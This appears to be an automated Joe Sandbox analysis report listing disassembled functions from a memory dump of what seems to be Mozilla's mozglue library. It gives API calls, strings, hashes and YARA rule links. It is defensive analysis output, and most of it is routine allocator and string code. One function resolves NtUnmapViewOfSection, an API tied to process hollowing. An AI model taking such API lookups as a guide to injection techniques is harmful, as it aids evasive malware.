API String ID: 145871493-3641475894
Opcode ID: 695efaf2b8ed3fad15a5c457daab35ccd7f99d84f5e440fcb32d17e50bb4e0a9
Instruction ID: 2a1041e635bb280f6a85993a4ab98cad904baef780560b6c1bddf646a9852ac9
Opcode Fuzzy Hash: 695efaf2b8ed3fad15a5c457daab35ccd7f99d84f5e440fcb32d17e50bb4e0a9
Instruction Fuzzy Hash: 4CE0B6B1E24301EBEFC1AFA2D84A7817EF8EB46318F124425E905D1F10EBB58452CF10

Function 6CEF7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CEF7592), ref: 6CEF7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CEF7627
FreeLibrary.KERNEL32(?,6CEF7592), ref: 6CEF763C

Strings

ntdll.dll, xrefs: 6CEF7603
NtUnmapViewOfSection, xrefs: 6CEF7621

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: e8b8924fac15a428c677407763fe0b02bacb298ac39cc221075ac584840e57ca
Instruction ID: 96673e18f5cac50faeb3c093f146a4782ac3494ba0c7e1f8ae6c210ea307b511
Opcode Fuzzy Hash: e8b8924fac15a428c677407763fe0b02bacb298ac39cc221075ac584840e57ca
Instruction Fuzzy Hash: 36E0B6B0E24741ABDFC16FE6C80A7457EB8E71A359F12851AE909D1F10E7B184118F14

Function 6CEFBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CEFBE49), ref: 6CEFBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CEFBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CEFBE49), ref: 6CEFBF38
RtlReAllocateHeap.NTDLL ref: 6CEFBF83
RtlFreeHeap.NTDLL ref: 6CEFBFA6

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 175c891810b19a043e8c262acbb3cf78f5d1896c0a42dc24ef8fa3ed4ab06e07
Instruction ID: 4e53115ca96caedb67cb3cd7c6b01577f6f39b68bd5adf6695f7de526dcc1d69
Opcode Fuzzy Hash: 175c891810b19a043e8c262acbb3cf78f5d1896c0a42dc24ef8fa3ed4ab06e07
Instruction Fuzzy Hash: 02516E72F002058BE714CF69CD81B9AB3B2BF85318F398629D525A7B54D730F9078B91

Function 6CEE8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CEDB58D,?,?,?,?,?,?,?,6CF0D734,?,?,?,6CF0D734), ref: 6CEE8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CEDB58D,?,?,?,?,?,?,?,6CF0D734,?,?,?,6CF0D734), ref: 6CEE8EBF
free.MOZGLUE(?,?,?,?,6CEDB58D,?,?,?,?,?,?,?,6CF0D734,?,?,?), ref: 6CEE8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CEDB58D,?,?,?,?,?,?,?,6CF0D734,?,?,?,6CF0D734), ref: 6CEE8F46
free.MOZGLUE(?,?,?,?,6CEDB58D,?,?,?,?,?,?,?,6CF0D734,?,?,?), ref: 6CEE8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CEDB58D,?,?,?,?,?,?,?,6CF0D734,?,?,?), ref: 6CEE8F8F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 6b1f9f0471df454d00d172c43af61eee90811cc3f7f1a93a13babdc412179462
Instruction ID: 1d61d8c25bceb593e14e5e535a8cea2c4c0c7e256c493006cc25cd4c124f6130
Opcode Fuzzy Hash: 6b1f9f0471df454d00d172c43af61eee90811cc3f7f1a93a13babdc412179462
Instruction Fuzzy Hash: 2451C4B1A0121A8FEB25CF58D88176E73B2FF49348F39056AD516AB740E731F905CB91

Function 6CEA60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CEA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CEA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA6180
free.MOZGLUE(?,?,?,?,6CEA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEA6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CEA5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CEA6229
free.MOZGLUE(?,?,?,?,6CEA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEA625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CEA5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEA6271

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e2fa5b8e3240f7a792479f4d6dac127f53f1f9b7a83e376223ebba8c99bbe832
Instruction ID: 05c93689c5f0439f4fd05ffe7698e2fd251c9bd44c88781e1986628ac5e25615
Opcode Fuzzy Hash: e2fa5b8e3240f7a792479f4d6dac127f53f1f9b7a83e376223ebba8c99bbe832
Instruction Fuzzy Hash: AB5180B1A002068FEB14CFA8D8807AE77B9EF46308F25043DD516DBB51E731E956CB61

Function 6CEE27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CEE2620,?,?,?,6CED60AA,6CED5FCB,6CED79A3), ref: 6CEE284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CEE2620,?,?,?,6CED60AA,6CED5FCB,6CED79A3), ref: 6CEE289A
free.MOZGLUE(?,?,?,6CEE2620,?,?,?,6CED60AA,6CED5FCB,6CED79A3), ref: 6CEE28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CEE2620,?,?,?,6CED60AA,6CED5FCB,6CED79A3), ref: 6CEE2910
free.MOZGLUE(00000001,?,?,6CEE2620,?,?,?,6CED60AA,6CED5FCB,6CED79A3), ref: 6CEE293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CEE2620,?,?,?,6CED60AA,6CED5FCB,6CED79A3), ref: 6CEE294E

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0ce293a2a62d1e3dee38da82adfc2818dcf079fad9b616fdd93dca2a647a969d
Instruction ID: 48ec24cdeed2b6b3f2008ef51d354679f2214d149460ae70b0089364c9a15b2e
Opcode Fuzzy Hash: 0ce293a2a62d1e3dee38da82adfc2818dcf079fad9b616fdd93dca2a647a969d
Instruction Fuzzy Hash: DA41B0B1A002078FEB14CF68E88476A73F6AB59348F251939D556EBB40E732E904CB52

Function 6CE9CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1E784), ref: 6CE9CFF6
LeaveCriticalSection.KERNEL32(6CF1E784), ref: 6CE9D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CE9D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CE9D139

Strings

MOZ_CRASH(), xrefs: 6CE9D187

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: d0e9a2aaa259cf53447a17ba2d3b39ec2504acd563c7dc5c968472642e90b66f
Instruction ID: 4d73f0a694a2d615314d93aeeaed17270e8c284157dc136ecbf7f074d6e622f1
Opcode Fuzzy Hash: d0e9a2aaa259cf53447a17ba2d3b39ec2504acd563c7dc5c968472642e90b66f
Instruction Fuzzy Hash: 3D41F576F102224FEB44CE7D8D963AA76B1EB49314F260139E928E7F84D7B15D018BC0

Function 6CE94DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CE94E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CE94E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE94EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE94F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CE94F1E

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: d15742ef5b6eac247c743aca96b8c979604ac9fa41f44a2ef381af988180ccc1
Instruction ID: 9a3370989d9df5566454d13d699a2fdcd1e13097cec6efe664336f0e12cd7b8a
Opcode Fuzzy Hash: d15742ef5b6eac247c743aca96b8c979604ac9fa41f44a2ef381af988180ccc1
Instruction Fuzzy Hash: F741D2716047069FC705CF29C48195BB7F4BF8A348F208A1EF5668B741D730E959CB92

Function 6CEA1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CEA152B,?,?,?,?,6CEA1248,?), ref: 6CEA159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CEA152B,?,?,?,?,6CEA1248,?), ref: 6CEA15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CEA152B,?,?,?,?,6CEA1248,?), ref: 6CEA15E7
free.MOZGLUE(?,?,?,?,?,?,6CEA152B,?,?,?,?,6CEA1248,?), ref: 6CEA1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CEA152B,?,?,?,?,6CEA1248,?), ref: 6CEA1637

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: c6366ca9e151968ab091ec428358dea99b2558fc933b056cd69adbf6fb355d29
Instruction ID: 5496f9abb86002a664823b8f2ba2d17cfc69ee45b68f2444c0440927c79a5c5d
Opcode Fuzzy Hash: c6366ca9e151968ab091ec428358dea99b2558fc933b056cd69adbf6fb355d29
Instruction Fuzzy Hash: E731A472A00114CFC7188EE8D85456E76B9BB863647390B6DE427DFBE4EB30D9068792

Function 6CEFAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CF0E330,?,6CEBC059), ref: 6CEFAD9D

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CF0E330,?,6CEBC059), ref: 6CEFADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CF0E330,?,6CEBC059), ref: 6CEFAE01
GetLastError.KERNEL32(?,00000000,?,?,6CF0E330,?,6CEBC059), ref: 6CEFAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CF0E330,?,6CEBC059), ref: 6CEFAE3D

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: d76e4e70b638da89d7d3b9f5fa811faaa2eeb375391d4055f5de2c61253e316d
Instruction ID: dfa13e750b74683a4ce54d3bc38dc2c9403668f7eca692200a7be7287334aa78
Opcode Fuzzy Hash: d76e4e70b638da89d7d3b9f5fa811faaa2eeb375391d4055f5de2c61253e316d
Instruction Fuzzy Hash: 113180B1A003159FDB10DF798C44AABBBF8EF49614F25882DE85AD7700E734E805CBA1

Function 6CEF5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CF0DCA0,?,?,?,6CECE8B5,00000000), ref: 6CEF5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CECE8B5,00000000), ref: 6CEF5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CECE8B5,00000000), ref: 6CEF5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CECE8B5,00000000), ref: 6CEF5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CECE8B5,00000000), ref: 6CEF5FD6

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: e877aa3e426a1d90af21da368417e39beef49ac8693557f4867963bdee62df25
Instruction ID: 93bf2f7d2f3fdc60cad79c13d85bdec11227d059a9c0f2413bc43cbb46643ec5
Opcode Fuzzy Hash: e877aa3e426a1d90af21da368417e39beef49ac8693557f4867963bdee62df25
Instruction Fuzzy Hash: 7D316D35311600CFE714CF29C899F26BBF6BF99318B648598E56687B95C731EC02CB80

Function 6CE9B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CE9B532
moz_xmalloc.MOZGLUE(?), ref: 6CE9B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE9B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CE9B57E
free.MOZGLUE(00000000), ref: 6CE9B58F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 238dfcfaed43c5719699503337f8b0f1f9a12c0f5e0fcb7bc8a3e4cddd5ff7e8
Instruction ID: 81548dea830210a3ce0a62070a5ac4bb58d5925fddeb33ebbd67b0c59f3a5e44
Opcode Fuzzy Hash: 238dfcfaed43c5719699503337f8b0f1f9a12c0f5e0fcb7bc8a3e4cddd5ff7e8
Instruction Fuzzy Hash: 7821D671E00205DBDB108F68CC40BAABBBAFF46318F384129E918DB741E776D911C7A1

Function 6CE9B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CE9B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CE9B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CE9B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE9B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CE9B849

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: b8d9f687c115f6e85101dd636156559be458e81a75400b1bc9939eb0178871eb
Instruction ID: 8e56cc51680fe95854913206084272b5053e2da582e4e2b2415f6d84c911df43
Opcode Fuzzy Hash: b8d9f687c115f6e85101dd636156559be458e81a75400b1bc9939eb0178871eb
Instruction Fuzzy Hash: D92160B1E002099FDF14DFA9D8856FEBBB4EF49314F148129EC05A7701E735A944CBA1

Function 6CEF6E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CEF6E78

Part of subcall function 6CEF6A10: InitializeCriticalSection.KERNEL32(6CF1F618), ref: 6CEF6A68
Part of subcall function 6CEF6A10: GetCurrentProcess.KERNEL32 ref: 6CEF6A7D
Part of subcall function 6CEF6A10: GetCurrentProcess.KERNEL32 ref: 6CEF6AA1
Part of subcall function 6CEF6A10: EnterCriticalSection.KERNEL32(6CF1F618), ref: 6CEF6AAE
Part of subcall function 6CEF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CEF6AE1
Part of subcall function 6CEF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CEF6B15
Part of subcall function 6CEF6A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CEF6B65
Part of subcall function 6CEF6A10: LeaveCriticalSection.KERNEL32(6CF1F618,?,?), ref: 6CEF6B83

MozFormatCodeAddress.MOZGLUE ref: 6CEF6EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CEF6EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CEF6EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CEF6EFF

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 4c8f9c6871e0e6a234bcc987f1ce4e4ab7dc060d7121354a59494152880d6412
Instruction ID: b10cf053eaec9198fe8db9332f50b0524e9c40c12816742106ac2c5a8ab29bdb
Opcode Fuzzy Hash: 4c8f9c6871e0e6a234bcc987f1ce4e4ab7dc060d7121354a59494152880d6412
Instruction Fuzzy Hash: 5F21C1B1E0421A8FDB00CF69D88569A77F8EF88308F144439E81997341EB709A598F92

Function 6CED0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CE93DEF), ref: 6CED0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CE93DEF), ref: 6CED0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CE93DEF), ref: 6CED0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CED0D97, 6CED0DBE
<jemalloc>, xrefs: 6CED0D92, 6CED0DB9

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: b379ff0b60c16f45ced1bf7c59acbb0d3efa1d699a3fbfd7ec203d65e4aae199
Instruction ID: c5c1c3db95517ad9b3ccc9bf966a247951378d37a961fe0a971ed963bf88c6b6
Opcode Fuzzy Hash: b379ff0b60c16f45ced1bf7c59acbb0d3efa1d699a3fbfd7ec203d65e4aae199
Instruction Fuzzy Hash: 93F0E97139429467E62415A61C0AB5B3A7D67C2B28F3A8037F614DEEC0DA50F8028AA4

Function 6CEE7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CEE75C4,?), ref: 6CEE762B

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CEE74D7,6CEF15FC,?,?,?), ref: 6CEE7644
GetCurrentThreadId.KERNEL32 ref: 6CEE765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CEE74D7,6CEF15FC,?,?,?), ref: 6CEE7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CEE74D7,6CEF15FC,?,?,?), ref: 6CEE7677

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

